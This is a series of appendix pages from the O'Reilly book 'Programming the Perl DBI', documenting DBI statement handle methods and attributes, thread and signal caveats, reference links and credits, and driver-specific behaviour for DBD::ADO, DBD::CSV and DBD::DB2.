When passed an array reference, fetchall_arrayref uses fetchrow_arrayref to fetch each row as an array ref. If the parameter array is not empty, then it is used as a slice to select individual columns by index number.

With no parameters, fetchall_arrayref acts as if passed an empty array ref.

When passed a hash reference, fetchall_arrayref uses fetchrow_hashref to fetch each row as a hash reference. If the parameter hash is not empty, then it is used as a slice to select individual columns by name. The names should be lower case regardless of the letter case in $sth->{NAME}. The values of the hash should be set to 1.

For example, to fetch just the first column of every row:

$tbl_ary_ref = $sth->fetchall_arrayref([0]);

To fetch the second to last and last column of every row:

$tbl_ary_ref = $sth->fetchall_arrayref([-2,-1]);

To fetch only the fields called "foo" and "bar" of every row:

$tbl_ary_ref = $sth->fetchall_arrayref({ foo=>1, bar=>1 });

The first two examples return a reference to an array of array refs. The last returns a reference to an array of hash refs.

finish
$rc  = $sth->finish;

Indicates that no more data will be fetched from this statement handle before it is either executed again or destroyed. The finish method is rarely needed, but can sometimes be helpful in very specific situations to allow the server to free up resources (such as sort buffers).

When all the data has been fetched from a SELECT statement, the driver should automatically call finish for you. So you should not normally need to call it explicitly.

Consider a query like:

SELECT foo FROM table WHERE bar=? ORDER BY foo

where you want to select just the first (smallest) "foo" value from a very large table. When executed, the database server will have to use temporary buffer space to store the sorted rows. If, after executing the handle and selecting one row, the handle won't be re-executed for some time and won't be destroyed, the finish method can be used to tell the server that the buffer space can be freed.

Calling finish resets the Active attribute for the statement. It may also make some statement handle attributes (such as NAME and TYPE) unavailable if they have not already been accessed (and thus cached).

The finish method does not affect the transaction status of the database connection. It has nothing to do with transactions. It's mostly an internal "housekeeping" method that is rarely needed. There's no need to call finish if you're about to destroy or re-execute the statement handle. See also disconnect and the Active attribute.

rows
$rv = $sth->rows;

Returns the number of rows affected by the last row-affecting command, or -1 if the number of rows is not known or not available.

Generally, you can only rely on a row count after a non-SELECT execute (for some specific operations like UPDATE and DELETE), or after fetching all the rows of a SELECT statement.

For SELECT statements, it is generally not possible to know how many rows will be returned except by fetching them all. Some drivers will return the number of rows the application has fetched so far, but others may return -1 until all rows have been fetched. So use of the rows method or $DBI::rows with SELECT statements is not recommended.

One alternative method to get a row count for a SELECT is to execute a "SELECT COUNT(*) FROM ..." SQL statement with the same "..." as your query, and then fetch the row count from that.

bind_col
$rc = $sth->bind_col($column_number, \$var_to_bind);

Binds an output column (field) of a SELECT statement to a Perl variable. See bind_columns for an example. Note that column numbers count up from 1.

Whenever a row is fetched from the database, the corresponding Perl variable is automatically updated. There is no need to fetch and assign the values manually. The binding is performed at a very low level using Perl aliasing, so there is no extra copying taking place. This makes using bound variables very efficient.

For maximum portability between drivers, bind_col should be called after execute. This restriction may be removed in a later version of the DBI.

You do not need to bind output columns in order to fetch data, but it can be useful for some applications that need either maximum performance or greater clarity of code. The bind_ param method performs a similar but opposite function for input variables.

bind_columns
$rc = $sth->bind_columns(@list_of_refs_to_vars_to_bind);

Calls bind_col for each column of the SELECT statement. The bind_columns method will die if the number of references does not match the number of fields.

For maximum portability between drivers, bind_columns should be called after execute.

For example:

$dbh->{RaiseError} = 1; # Do this, or check every call for errors
$sth = $dbh->prepare(q{ SELECT region, sales FROM sales_by_region });
$sth->execute;
my ($region, $sales);

# Bind Perl variables to columns:
$rv = $sth->bind_columns(\$region, \$sales);

# You can also use Perl's \(...) syntax (see perlref docs):
#     $sth->bind_columns(\($region, $sales));

# Column binding is the most efficient way to fetch data
while ($sth->fetch) {
    print "$region: $sales\n";
}

For compatibility with old scripts, the first parameter will be ignored if it is undef or a hash reference.

dump_results
$rows = $sth->dump_results($maxlen, $lsep, $fsep, $fh);

Fetches all the rows from $sth, calls DBI::neat_list for each row, and prints the results to $fh (defaults to STDOUT) separated by $lsep (default "\n"). $fsep defaults to ", " and $maxlen defaults to 35.

This method is designed as a handy utility for prototyping and testing queries. Since it uses neat_list to format and edit the string for reading by humans, it is not recomended for data transfer applications.

A.7.2. Statement Handle Attributes

This section describes attributes specific to statement handles. Most of these attributes are read-only.

Changes to these statement handle attributes do not affect any other existing or future statement handles.

Attempting to set or get the value of an unknown attribute is fatal, except for private driver-specific attributes (which all have names starting with a lowercase letter).

For example:

... = $h->{NUM_OF_FIELDS};    # get/read

Note that some drivers cannot provide valid values for some or all of these attributes until after $sth->execute has been called.

See also finish to learn more about the effect it may have on some attributes.

NUM_OF_FIELDS (integer, read-only)

Number of fields (columns) the prepared statement will return. Non-SELECT statements will have NUM_OF_FIELDS == 0.

NUM_OF_PARAMS (integer, read-only)

The number of parameters (placeholders) in the prepared statement. See "Substitution Variables" later in this appendix for more details.

NAME (array-ref, read-only)

Returns a reference to an array of field names for each column. The names may contain spaces but should not be truncated or have any trailing space. Note that the names have the letter case (upper, lower, or mixed) as returned by the driver being used. Portable applications should use NAME_lc or NAME_uc. For example:

print "First column name: $sth->{NAME}->[0]\n";
NAME_lc (array-ref, read-only)

Like NAME but always returns lowercase names.

NAME_uc (array-ref, read-only)

Like NAME but always returns uppercase names.

TYPE (array-ref, read-only) (NEW )

Returns a reference to an array of integer values for each column. The value indicates the datatype of the corresponding column.

The values correspond to the international standards (ANSI X3.135 and ISO/IEC 9075), which, in general terms, means ODBC. Driver-specific types that don't exactly match standard types should generally return the same values as an ODBC driver supplied by the makers of the database. That might include private type numbers in ranges the vendor has officially registered.

For more information, see:

ftp://jerry.ece.umassd.edu/isowg3/dbl/SQL_Registry

Where there's no vendor-supplied ODBC driver to be compatible with, the DBI driver can use type numbers in the range that is now officially reserved for use by the DBI: -9999 to -9000.

All possible values for TYPE should have at least one entry in the output of the type_info_all method (see type_info_all).

PRECISION (array-ref, read-only) (NEW )

Returns a reference to an array of integer values for each column. For non-numeric columns, the value generally refers to either the maximum length or the defined length of the column. For numeric columns, the value refers to the maximum number of significant digits used by the datatype (without considering a sign character or decimal point). Note that for floating-point types (REAL, FLOAT, DOUBLE), the "display size" can be up to seven characters greater than the precision. (for the sign + decimal point + the letter E + a sign + two or three digits).

SCALE (array-ref, read-only) (NEW )

Returns a reference to an array of integer values for each column. NULL (undef) values indicate columns where scale is not applicable.

NULLABLE (array-ref, read-only)

Returns a reference to an array indicating the possibility of each column returning a NULL. Possible values are 0 = no, 1 = yes, 2 = unknown. For example:

print "First column may return NULL\n" if $sth->{NULLABLE}->[0];
CursorName (string, read-only)

Returns the name of the cursor associated with the statement handle, if available. If not available, or if the database driver does not support the "where current of ..." SQL syntax, then it returns undef.

Statement (string, read-only) (NEW )

Returns the statement string passed to the prepare method.

RowsInCache (integer, read-only)

If the driver supports a local row cache for SELECT statements, then this attribute holds the number of unfetched rows in the cache. If the driver doesn't, then it returns undef. Note that some drivers pre-fetch rows on execute, whereas others wait till the first fetch.

See also the RowCacheSize database handle attribute.

Previous | Home | Next
A.6. DBI Database Handle Objects | Book Index | A.8. Further Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Further Information (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.8. Further Information

A.8.1. Threads and Thread Safety

Perl versions 5.004_50 and later include optional experimental support for multiple threads on many platforms. If the DBI is built using a Perl that has threads enabled, then it will use a per-driver mutex to ensure that only one thread is with a driver at any one time. Please note that support for threads in Perl is still experimental and is known to have some significant problems. Its use is not recommended.

A.8.2. Signal Handling and Canceling Operations

The first thing to say is that signal handling in Perl is currently not safe. There is always a small risk of Perl crashing and/or core dumping during or after handling a signal. (The risk was reduced with 5.004_04 but is still present.)

The two most common uses of signals in relation to the DBI are for canceling operations when the user types Ctrl-C (interrupt), and for implementing a timeout using alarm() and $SIG{ALRM}.

To assist in implementing these operations, the DBI provides a cancel method for statement handles. The cancel method should abort the current operation and is designed to be called from a signal handler.

However, it must be stressed that: a) few drivers implement this functionality at the moment (the DBI provides a default method that just returns undef); and b) even if implemented, there is still a possibility that the statement handle, and possibly the parent database handle, will not be usable afterwards.

If cancel returns true, then it has successfully invoked the database engine's own cancel function. If it returns false, then cancel failed. If it returns undef, then the database engine does not have cancel implemented.

Previous | Home | Next
A.7. DBI Statement Handle Objects | Book Index | A.9. See Also
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


See Also (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.9. See Also

A.9.1. Driver and Database Documentation

Refer to the documentation for the DBD driver you are using.

Refer to the SQL language reference manual for the database engine you are using.

A.9.2. Books and Journals

Programming the Perl DBI, by Alligator Descartes and Tim Bunce

Programming Perl, 2nd Ed, by Larry Wall, Tom Christiansen, and Randal Schwartz

Learning Perl, by Randal Schwartz

Dr Dobb's Journal, November 1996

The Perl Journal, April 1997

A.9.3. Manual Pages

Consult the perl manpage, the perlmod manpage, and the perlbook manpage.

A.9.4. Mailing List

The dbi-users mailing list is the primary means of communication among users of the DBI and its related modules. Subscribe and unsubscribe via:

http://www.isc.org/dbi-lists.html

There are typically between 700 and 900 messages per month. You have to subscribe in order to be able to post. However, you can opt for a "post-only" subscription.

Mailing list archives are held at:

http://www.xray.mpe.mpg.de/mailing-lists/dbi/

http://www.egroups.com/list/dbi-users/info.html

http://www.bitmechanic.com/mail-archives/dbi-users/

A.9.5. Assorted Related WWW Links

The DBI home page:

http://www.symbolstone.org/technology/perl/DBI

Other DBI-related links:

http://tegan.deltanet.com/~phlip/DBUIdoc.html

http://dc.pm.org/perl_db.html

http://wdvl.com/Authoring/DB/Intro/toc.html

http://www.hotwired.com/webmonkey/backend/tutorials/tutorial1.html

Other database-related links:

http://www.jcc.com/sql_stnd.html

http://cuiwww.unige.ch/OSG/info/FreeDB/FreeDB.home.html

Commercial and data warehouse links:

http://www.dwinfocenter.org

http://www.datawarehouse.com

http://www.datamining.org

http://www.olapcouncil.org

http://www.idwa.org

http://www.knowledgecenters.org/dwcenter.asp

Recommended Perl programming link:

http://language.perl.com/style/

A.9.6. FAQ

Please also read the DBI FAQ which is installed as a DBI::FAQ module. You can use perldoc to read it by executing the perldoc DBI::FAQ command.

Previous | Home | Next
A.8. Further Information | Book Index | A.10. Authors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Authors (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.10. Authors

DBI was created by Tim Bunce. This text by Tim Bunce, J. Douglas Dunlop, Jonathan Leffler, and others. Perl was created by Larry Wall and the perl5-porters.

Previous | Home | Next
A.9. See Also | Book Index | A.11. Copyright
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Copyright (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.11. Copyright

The DBI module is copyright © 1994-2000 Tim Bunce. England. All rights reserved.

You may distribute under the terms of either the GNU General Public License or the Artistic License, as specified in the Perl README file.

Previous | Home | Next
A.10. Authors | Book Index | A.12. Acknowledgments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.12. Acknowledgments

I would like to acknowledge the valuable contributions of the many people I have worked with on the DBI project, especially in the early years (1992-1994). In no particular order: Kevin Stock, Buzz Moschetti, Kurt Andersen, Ted Lemon, William Hails, Garth Kennedy, Michael Peppler, Neil S. Briscoe, Jeff Urlwin, David J. Hughes, Jeff Stander, Forrest D. Whitcher, Larry Wall, Jeff Fried, Roy Johnson, Paul Hudson, Georg Rehfeld, Steve Sizemore, Ron Pool, Jon Meek, Tom Christiansen, Steve Baumgarten, Randal Schwartz, and a whole lot more.

Then, of course, there are the poor souls who have struggled through untold and undocumented obstacles to actually implement DBI drivers. Among their ranks are Jochen Wiedmann, Alligator Descartes, Jonathan Leffler, Jeff Urlwin, Michael Peppler, Henrik Tougaard, Edwin Pratomo, Davide Migliavacca, Jan Pazdziora, Peter Haworth, Edmund Mergl, Steve Williams, Thomas Lowery, and Phlip Plumlee. Without them, the DBI would not be the practical reality it is today. I'm also especially grateful to Alligator Descartes for starting work on the Programming the Perl DBI book and letting me jump on board.

Previous | Home | Next
A.11. Copyright | Book Index | A.13. Translations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Translations (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.13. Translations

A German translation of this text is available, thanks to O'Reilly, at:

http://www.oreilly.de/catalog/perldbiger

Some other translations:

Spanish -- http://cronopio.net/perl/

Japanese -- http://member.nifty.ne.jp/hippo2000/dbimemo.htm

Previous | Home | Next
A.12. Acknowledgments | Book Index | A.14. Support/ Warranty
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Support/ Warranty (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.14. Support/ Warranty

The DBI is free software. It comes without warranty of any kind.

Commercial support for Perl and the DBI, DBD::Oracle, and Oraperl modules can be arranged via The Perl Clinic. For more details, visit:

http://www.perlclinic.com

Previous | Home | Next
A.13. Translations | Book Index | A.15. Training
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Training (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.15. Training

Here are some references to DBI-related training resources (no recommendation implied):

http://www.treepax.co.uk/

http://www.keller.com/dbweb/

Previous | Home | Next
A.14. Support/ Warranty | Book Index | B. Driver and Database Characteristics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Driver and Database Characteristics (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Appendix B. Driver and Database Characteristics

Contents:

Acquiring the DBI and Drivers

In this appendix, we hope to give you a flavor of the functionality and quirks of different DBI drivers and their databases.

The line between the functionality and quirks of a given driver and the functionality and quirks of its corresponding database is rather blurred. In some cases, the database has functionality that the driver can't or doesn't access; in others, the driver may emulate functionality that the database doesn't support, such as placeholders. So when you see the terms driver or database below, take them with a pinch of salt.

Our primary goals are:

  • to provide a simple overview of each driver and database.

  • to help you initially select a suitable DBI driver and database for your new applications.

  • to help you identify potential issues if you need to port an existing application from one driver and database combination to another.

We don't attempt to describe the drivers and databases in detail here, and we're not reproducing their documentation. We're only interested in the key features that are most commonly used or relevant to our goals. And for those features, we're just providing an outline guide, sometimes little more than signposts. Consult the database and driver documentation for full details.

With the cooperation of the driver authors, we have produced descriptions for the following drivers and databases:

DBD::ADO

Microsoft "Active Data Objects"

DBD::CSV

General "Comma Separated Value" ASCII files

DBD::DB2

IBM DB2

DBD::Empress

Empress

DBD::Informix

Informix

DBD::Ingres

Ingres

DBD::InterBase

InterBase

DBD::mysql & DBD::mSQL

MySQL and mSQL database

DBD::ODBC

For any ODBC data source

DBD::Oracle

Oracle

DBD::Pg

PostgreSQL

DBD::SearchServer

Fulcrum Search Server

DBD::Sybase

For Sybase and Microsoft SQL Server

DBD::XBase

For XBase files (dBase, etc.)

For each of these drivers, we've tried to cover the same range of topics in the same order.

The topics include:

  • Driver summary information

  • How to connect

  • Supported datatypes, their ranges and functionality

  • Variations in SQL dialect and default behaviors

  • Advanced database features

  • How to access database metadata

Reading straight through is not for the faint-hearted. We recommend dipping in on an as-needed basis.

B.1. Acquiring the DBI and Drivers

Before you can use a DBI driver module, you obviously need to get it from somewhere and install it on your system.

If you're on a Microsoft Windows system and using the ActiveState version of Perl, then the first thing to try is their Perl Package Manager , or PPM for short. The PPM utility is installed with ActiveState Perl and greatly simplifies downloading and installing pre-compiled modules. Installing a DBI driver using PPM also automatically installs the DBI if it's not already installed. For more information refer to:

http://www.activestate.com/PPM/

That simple solution won't work for everyone. If you're not using ActiveState Perl on Microsoft Windows, or the driver you want isn't one that they have pre-compiled for downloading via PPM, then you'll have to travel the longer road: download the source code for the driver and build it yourself. It's usually not as hard as it may sound.

The source code for DBI drivers can be downloaded from any site that is part of the Comprehensive Perl Archive Network (CPAN). Here are a few handy URLs to get you started:

http://www.perl.com/CPAN/modules/by-module/DBD/

http://www.perl.org/CPAN/modules/by-module/DBD/

http://search.cpan.org/search?mode=module&query=DBD

If you've not already installed the DBI, then you'll need to do that first. Simply substituting DBI for DBD in the URLs above will take you to the source code for the DBI module.

Remember that many drivers for database systems require some database-specific client software to be installed on the machine in order to be able to build the driver. The driver documentation should explain what's needed.

Driver version

DBD::ADO version 0.03.

At the time of this writing, the DBD::ADO driver, and even ADO itself, are relatively new. Things are bound to change, so be sure to read the latest documentation.

Feature summary

Because DBD::ADO acts as an interface to other lower-level database drivers within Windows, much of its behavior is governed by those drivers.

Transactions                           Dependent on connected data source
Locking                                Dependent on connected data source
Table joins                            Dependent on connected data source
LONG/LOB datatypes                     Dependent on connected data source
Statement handle attributes available  After execute(  )
Placeholders                           No, not yet
Stored procedures                      Limited support, no parameters
Bind output values                     No
Table name letter case                 Dependent on connected data source
Field name letter case                 Dependent on connected data source
Quoting of otherwise invalid names     Dependent on connected data source
Case-insensitive "LIKE" operator       Dependent on connected data source
Server table ROW ID pseudocolumn       Dependent on connected data source
Positioned update/delete               No
Concurrent use of multiple handles     Dependent on connected data source

Author and contact details

The driver is maintained by Thomas Lowery and Phlip Plumlee. They can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD::ADO module requires Microsoft ADO version 2.1 or later to work reliably. Using NT with Service Pack 4 is recommended. The module is pure Perl, making use of the Win32::OLE module to handle the ADO requests.

The DBD::ADO module supports the use of SQL statements to query any data source your raw ADO supports. This can include the Jet data drivers for the various Microsoft Office file formats, any number of ODBC data drivers, or experimental data providers that expose file system folder hierarchies or Internet directory services as data sources.

Each provider system supports SQL in some format, either in a native format like MS-SQL Server's Transact SQL or as an emulation layer in the data provider, such as a Jet data driver reading an Excel spreadsheet.

Information about ADO can be found at http://www.microsoft.com/data/ado/.

Differences from the DBI specification

DBD::ADO is a very new and currently incomplete driver. It is evolving rapidly though, and since it's written in pure Perl using Win32::OLE, it's easy for people to enhance.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, has the following format:

dbi:ADO:DSN

DSN must be an ODBC Data Source Name registered with the Control Panel ODBC Data Sources applet. If your DBI application runs as a service or daemon, such as a CGI script, the DSN must appear on the "System DSN" tab.

There are no driver-specific attributes for the DBI->connect() method. DBD::ADO supports an unlimited number of concurrent data source connections to one or more data sources, subject to the limitations of those data sources.

Datatypes

The numeric, string, date, and LONG/LOB datatypes depend on the interaction of four forces: what a Perl "scalar" supports, how the Win32::OLE layer translates VARIANTs into scalars, the types that VARIANT itself permits, and the types your target provider emits.

A user/programmer must research those forces in his or her relevant documentation. Rest assured that DBD::ADO will then transmit the type correctly.

Transactions, Isolation, and Locking

DBD::ADO reflects the capabilities of the native connection to the user. Transactions, if a provider supports them, are per connection -- all statements derived from one connection will ``see'' updates to the data that awaits a COMMIT statement. Other connections to that data source will not see these pending updates.

SQL Dialect

Because DBD::ADO acts as an interface to other database drivers, the following issues are governed by those drivers and the databases they connect to:

  • Case-sensitivity of LIKE operator

  • Table join syntax

  • Table and column names

  • Row ID

  • Automatic key or sequence generation

  • Automatic row numbering and row count limiting

For more information, refer to the documentation for the drivers and the database being used.

The DBD::ADO driver does not support positioned updates and deletes.

Parameter Binding

Parameter binding is not yet supported by DBD::ADO.

Stored Procedures

Calling stored procedures is supported by DBD::ADO using the ODBC style {call procedure_name()} syntax.

Table Metadata

DBD::ADO does not currently support the table_info() method. It awaits the needed slack time and/or other volunteers.

Driver-Specific Attributes and Methods

The ADO connection object can be accessed from database and statement handles via the ado_conn attribute.

The ADO RecordSet object can be accessed from statement handles via the ado_rs attribute.

DBD::CSV

General Information

Driver version

DBD::CSV version 0.1019

Feature summary

Transactions                           No
Locking                                Implicit, per-statement only
Table joins                            No
LONG/LOB datatypes                     Yes, up to 4 GB
Statement handle attributes available  After execute(  )
Placeholders                           Yes, "?" style
Stored procedures                      No
Bind output values                     No
Table name letter case                 Sensitive, partly depends on filesystem
Field name letter case                 Sensitive, stored with original letter case
Quoting of otherwise invalid names     No
Case-insensitive "LIKE" operator       Yes, "CLIKE"
Server table ROW ID pseudocolumn       No
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Jochen Wiedmann. He can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD::CSV driver is built upon the services of several other related modules. The Text::CSV_XS module is used for reading and writing CSV files. The abstract generic DBD::File class provides the driver framework for handling flat files. That, in turn, uses the SQL::Statement module to parse and evaluate simple SQL statements.

It's important to note that while just about everyone thinks they know what the CSV file format is, there is actually no formal definition of the format, and there are many subtle differences.

Here's one description of a CSV file:

http://www.whatis.com/csvfile.htm

Differences from the DBI specification

DBD::CSV does not fully parse the statement until it's executed. Thus, attributes like $sth->{NUM_OF_FIELDS} are not available until after $sth->execute( ) has been called. This is valid behavior but is important to note when porting applications originally written for other drivers.

The statement handle attributes PRECISION, SCALE, and TYPE are not supported. Also note that many statement attributes cease to be available after fetching all the result rows or calling the finish( ) method.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, can be one of the following:

dbi:CSV:
dbi:CSV:attrs

where attrs is an optional semicolon-separated list of key=value pairs.

The number of database handles is limited by memory only. It is recommended to use multiple database handles for different table formats.

Commonly used attributes include:

f_dir=directory

By default, files in the current directory are treated as tables. The attribute f_dir makes the module open files in the given directory.

csv_eol
csv_sep_char
csv_quote_char
csv_escape_char

These attributes are used for describing the CSV file format in use. For example, to open /etc/passwd, which is colon-separated and line-feed terminated, as a table, one would use:

csv_eol=\n;csv_sep_char=:

The defaults are \r\n, comma (,), double quote ("), and double quote (") respectively. All of these attributes and defaults are inherited from the Text::CSV_XS module.

Datatypes

Numeric data handling

Without question, the main disadvantage of the DBD::CSV module is the lack of appropriate type handling. While reading a CSV table, you have no way to reliably determine the correct datatype of the fields. All fields look like strings and are treated as such by default.

The SQL::Statement module, and hence the DBD::CSV driver, accepts the numeric types INTEGER and REAL in CREATE TABLE statements, but they are always stored as strings and, by default, retrieved as strings.

It is possible to read individual columns as integers or doubles, in which case they are converted to Perl's internal datatypes IV and NV -- integer and numeric value respectively. Unsigned values are not supported.

To assign certain datatypes to columns, you have to create metadata definitions. The following example reads a table table_name with columns I, N, and P of type INTEGER, DOUBLE, and STRING, respectively:

my $dbh = DBI->connect("DBI:CSV:", '', '');
$dbh->{csv_tables}->{table_name}->{types} = [
    Text::CSV_XS::IV(  ), Text::CSV_XS::NV(  ), Text::CSV_XS::PV(  )
];
my $sth = $dbh->prepare("SELECT id, sales, description FROM table_name");

String data handling

Similar to numeric values, DBD::CSV accepts more datatypes in CREATE TABLE statements than it really supports. You can use CHAR(n) and VARCHAR(n) with arbitrary numbers n, BLOB, or TEXT, but in fact these are always BLOBs, in a loose kind of way.

The one underlying string type can store any binary data including embedded NUL characters. However, many other CSV tools may choke if given such data.

Date data handling

No date or time types are directly supported.

LONG/BLOB data handling

BLOBs are equivalent to strings. They are only limited in size by available memory.

Other data handling issues

The type_info( ) method is supported.

Transactions, Isolation, and Locking

The driver doesn't support transactions.

No explicit locks are supported. Tables are locked while statements are executed, but the lock is immediately released once the statement is completed.

SQL Dialect

Case sensitivity of LIKE operator

Two different LIKE operators are supported. LIKE is case-sensitive, whereas CLIKE is not.

Table join syntax

Table joins are not supported.

Table and column names

Table and column names are case-sensitive. However, you should consider that table names are in fact filenames, so tables Foo and foo may both be present with the same data. However, they may be subject to different metadata definitions in $dbh->{csv_tables}.

Row ID

Row IDs are not supported.

Automatic key or sequence generation

Neither automatic keys nor sequences are supported.

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

Positioned updates and deletes are not supported.

Parameter Binding

Question marks are supported as placeholders, as in:

$dbh->do("INSERT INTO A VALUES (?, ?)", undef, $id, $name);

The :1 placeholder style is not supported.

Stored Procedures

Stored procedures are not supported.

Table Metadata

By default, the driver expects the column names to be stored in the table's first row, as in:

login:password:uid:gid:comment:shell:homedir
root:s34hj34n34jh:0:0:Superuser:/bin/bash:/root

If column names are not present, you may specify column names via:

$dbh->{csv_tables}->{$table}->{skip_rows} = 0;
$dbh->{csv_tables}->{$table}->{col_names} =
    [qw(login password uid gid comment shell homedir)];

in which case the first row is treated as a data row.

If column names are not supplied and not read from the first row, the names col0, col1, etc. are generated automatically.

Column names can be retrieved via the standard $sth->{NAME} attribute. The NULLABLE attribute returns an array of all ones. Other metadata attributes are not supported.

The table names, or filenames, can be read via $dbh->table_info() or $dbh->tables() as usual.

Driver-Specific Attributes and Methods

Besides the attributes f_dir, csv_eol, csv_sep_char, csv_quote_char, and csv_sep_char that have already been discussed above, the most important database handle attribute is:

$dbh->{csv_tables}

csv_tables is used for specifying table metadata. It is a hash ref with table names as keys, the values being hash refs with the following attributes:

file

The filename being associated with the table. By default, the file name is $dbh->{f_dir}/$table.

col_names

An array ref of column names.

skip_rows

This number of rows will be read from the top of the file before reading the table data, and the first of those will be treated as an array of column names. However, the col_names attribute takes precedence.

types

This is an array ref of the Text::CSV_XS type values for the corresponding columns. Three types are supported and their values are defined by the IV(), NV(), and PV() functions in the Text::CSV_XS package.

There are no driver-specific statement handle attributes and no private methods for either type of handle.

DBD::DB2

General Information

Driver version

DBD::DB2 version 0.71

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After prepare(  )
Placeholders                           Yes, "?" (native)
Stored procedures                      Yes
Bind output values                     No
Table name letter case                 Insensitive, stored as uppercase
Field name letter case                 Insensitive, stored as uppercase
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No
Server table ROW ID pseudocolumn       No
Positioned update/delete               Yes
Concurrent use of multiple handles     Unrestricted

Author and contact details

Support for the DBD::DB2 driver is provided by IBM through its service agreements for DB2 UDB. Any comments, suggestions, or enhancement requests can be sent via email to db2perl@ca.ibm.com. Please see the web site at:

http://www.ibm.com/data/db2/perl

for more information.

Supported database versions and options

The DBD::DB2 driver supports DB2 UDB V5.2 and later.

Here are some URLs to more database/driver-specific information:

http://www.software.ibm.com/data/db2/perl

http://www.software.ibm.com/data/db2

http://www.software.ibm.com/data/db2/library

http://www.software.ibm.com/data/db2/udb/ad

Differences from the DBI specification

The only significant difference in behavior from the current DBI specification is the way in which datatypes are specified in the bind_ param( ) method. Please see the information later in this section of the document about using the bind_ param( ) method with the DBD::DB2 driver.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, is specified as follows:

dbi:DB2:database_name

There are no driver-specific attributes for the DBI->connect() method.

DBD::DB2 supports concurrent database connections to one or more databases.

Datatypes

Numeric data handling

DB2 UDB supports the following numeric datatypes:

SMALLINT
INTEGER
BIGINT
REAL
DOUBLE
FLOAT
DECIMAL or NUMERIC

A SMALLINT is a two-byte integer than can range from -32768 to +32767. The maximum precision is 5. Scale is not applicable.

An INTEGER is a four-byte integer that can range from -2147483648 to +2147483647. The maximum precision is 10. Scale is not applicable.

A BIGINT is an eight-byte integer that can range from -9223372036854775808 to +9223372036854775807. The maximum precision is 19. Scale is not applicable.

A REAL is a 32-bit approximation of a real number. The number can be or can range from -3.402e+38 to -1.175e-37, or from +1.175e-37 to +3.402e+38. The maximum precision is 7. Scale is not applicable.

A DOUBLE or FLOAT is a 64-bit approximation of a real number. The number can be or can range from -1.79769e+308 to -2.225e-307, or from 2.225e-307 to 1.79769e+308. The maximum precision is 15. Scale is not applicable.

A DECIMAL or NUMERIC value is a packed decimal number with an implicit decimal point that can range from -10**31+1 to +10**31-1. The maximum precision is 31 digits. The scale cannot be negative or greater than the precision.

Notice that DB2 supports numbers outside the typical valid range for Perl numbers. This isn't a major problem because DBD::DB2 always returns all numbers as strings.

String data handling

DB2 UDB supports the following string datatypes:

CHAR
CHAR FOR BIT DATA
VARCHAR
VARCHAR FOR BIT DATA
GRAPHIC
VARGRAPHIC

CHAR is a fixed-length character string that can be up to 254 bytes long. VARCHAR is a variable-length character string that can be up to 32672 bytes. The FOR BIT DATA variants are used for data not associated with a particular coded character set.

GRAPHIC is a fixed-length string of double-byte characters that can be up to 127 characters long.

VARGRAPHIC is a variable-length string of double-byte characters that can be up to 16336 characters long.

The CHAR and GRAPHIC types are fixed-length strings, padded with blanks.

For DB2 UDB, CHAR fields can be in mixed codesets (national character sets). The non-ASCII characters are handled according to the mixed code page definition. For example, Shift-JIS characters in the range 0x81 to 0x9F and 0xE0 to 0xFC are DBCS introducer bytes, and characters in the range 0xA0 to 0xDF are single-byte Katakana characters. Blank padding for CHAR fields is always with ASCII blank (single-byte blank). For UTF-8, characters with the sign bit set are interpreted according to the UTF-8 definition.

GRAPHIC datatypes are stored as pure double-byte in the default code page of the database, or in UCS-2 in the case of a Unicode database. Blank padding for GRAPHIC fields is always with the DBCS blank of the corresponding code page, or with the UCS-2 blank ( U+0020 ) in the case of a Unicode database.

Code page conversions between the client code page and the database code page are automatically performed by DB2 UDB.

Unicode support is provided with DB2 UDB Version 5 + FixPak 7 (DB2 UDB V5.2 is actually DB2 UDB V5 + FixPak 6). In a Unicode database, CHAR datatypes are stored in UTF-8 format and GRAPHIC datatypes are stored in UCS-2 format.

With DB2 UDB Version 6.1, the VARCHAR( ) function has been extended to convert graphic string datatypes to a VARCHAR, with the exception of LONG VARGRAPHIC and DBCLOB. This function is valid for UCS-2 databases only. For non-Unicode databases, this is not allowed.

All character types can store strings with embedded nul( "\0" ) bytes.

Strings can be concatenated using the || operator or the CONCAT(s1,s2) SQL function.

Date data handling

DB2 UDB supports the following date, time, and date/time datatypes:

DATE
TIME
TIMESTAMP

DATE is a three-part value consisting of year, month, and day. The range of the year part is 0001 to 9999. Two-digit years cannot be used with DB2 UDB. Years must be specified with all four digits.

TIME is a three-part value consisting of hour, minute, and second designates a time of day under a 24-hour clock.

TIMESTAMP is a seven-part value, consisting of year, month, day, hour, minute, second, and microsecond, that designates a date and time as defined above, except that the time includes a fractional specification of microseconds. If you specify a TIMESTAMP value without a time component, the default time is 00:00:00 (midnight).

The current date, time, and date/time can be retrieved using the CURRENT DATE, CURRENT TIME, and CURRENT TIMESTAMP special registers.

